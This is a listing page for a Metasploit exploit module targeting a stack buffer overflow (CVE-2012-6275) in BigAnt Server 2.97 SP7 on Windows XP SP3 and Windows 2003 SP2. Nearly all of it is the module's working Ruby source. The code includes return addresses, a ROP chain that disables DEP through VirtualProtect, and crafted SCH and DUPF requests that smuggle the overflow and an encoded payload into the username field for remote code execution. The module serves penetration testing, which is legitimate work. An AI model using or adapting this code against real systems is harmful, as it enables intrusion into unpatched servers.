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BigAnt Server 2 SCH And DUPF Buffer Overflow

BigAnt Server 2 SCH And DUPF Buffer Overflow
Posted Feb 20, 2013
Authored by juan vazquez, Hamburgers Maccoy | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The vulnerability is due to the dangerous usage of strcpy while handling errors. This module uses a combination of SCH and DUPF request to trigger the vulnerability, and has been tested successfully against version 2.97 SP7 over Windows XP SP3 and Windows 2003 SP2.

tags | exploit, overflow
systems | windows, xp
advisories | CVE-2012-6275, OSVDB-89344
MD5 | d3937db25c68ab8165f5adec60ea509c

BigAnt Server 2 SCH And DUPF Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
vulnerability is due to the dangerous usage of strcpy while handling errors. This
module uses a combination of SCH and DUPF request to trigger the vulnerability, and
has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
Windows 2003 SP2.
},
'Author' =>
[
'Hamburgers Maccoy', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6275' ],
[ 'US-CERT-VU', '990652' ],
[ 'BID', '57214' ],
[ 'OSVDB', '89344' ]
],
'Payload' =>
{
'Space' => 2500,
'BadChars' => "\x00\x0a\x0d\x25\x27",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
{
'Offset' => 629,
'Ret' => 0x77c21ef4, # ppr from msvcrt
'JmpESP' => 0x77c35459, # push esp # ret from msvcrt
'FakeObject' => 0x77C60410 # .data from msvcrt
}
],
[ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
{
'Offset' => 629,
'Ret' => 0x77bb287a, # ppr from msvcrt
'FakeObject' => 0x77bf2460, # .data from msvcrt
:callback_rop => :w2003_sp2_rop
}
]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 09 2013'))

register_options([Opt::RPORT(6661)], self.class)
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end

def nop
return make_nops(4).unpack("V")[0].to_i
end

def w2003_sp2_rop
rop_gadgets =
[
0x77bc5d88, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bc5d88, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bc5d88, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bc5d88, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")

return rop_gadgets
end

def exploit

sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack("V")
sploit << [target['FakeObject']].pack("V")
sploit << [target['FakeObject']].pack("V")
if target[:callback_rop] and self.respond_to?(target[:callback_rop])
sploit << self.send(target[:callback_rop])
else
sploit << [target['JmpESP']].pack("V")
end
sploit << payload.encoded

random_filename = rand_text_alpha(4)
random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
random_userid = rand_text_numeric(1)
random_username = rand_text_alpha_lower(5)
random_content = rand_text_alpha(10 + rand(10))

sch = "SCH 16\n"
sch << "cmdid: 1\n"
sch << "content-length: 0\n"
sch << "content-type: Appliction/Download\n"
sch << "filename: #{random_filename}.txt\n"
sch << "modified: #{random_date}\n"
sch << "pclassid: 102\n"
sch << "pobjid: 1\n"
sch << "rootid: 1\n"
sch << "sendcheck: 1\n"
sch << "source_cmdname: DUPF\n"
sch << "source_content-length: 116619\n"
sch << "userid: #{random_userid}\n"
sch << "username: #{sploit}\n\n"

print_status("Trying target #{target.name}...")

connect
print_status("Sending SCH request...")
sock.put(sch)
res = sock.get_once
if res.nil?
fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
end
if res=~ /scmderid: \{(.*)\}/
scmderid = $1
else
fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
end

dupf = "DUPF 16\n"
dupf << "cmdid: 1\n"
dupf << "content-length: #{random_content.length}\n"
dupf << "content-type: Appliction/Download\n"
dupf << "filename: #{random_filename}.txt\n"
dupf << "modified: #{random_date}\n"
dupf << "pclassid: 102\n"
dupf << "pobjid: 1\n"
dupf << "rootid: 1\n"
dupf << "scmderid: {#{scmderid}}\n"
dupf << "sendcheck: 1\n"
dupf << "userid: #{random_userid}\n"
dupf << "username: #{random_username}\n\n"
dupf << random_content

print_status("Sending DUPF request...")
sock.put(dupf)
#sock.get_once
disconnect

end

end

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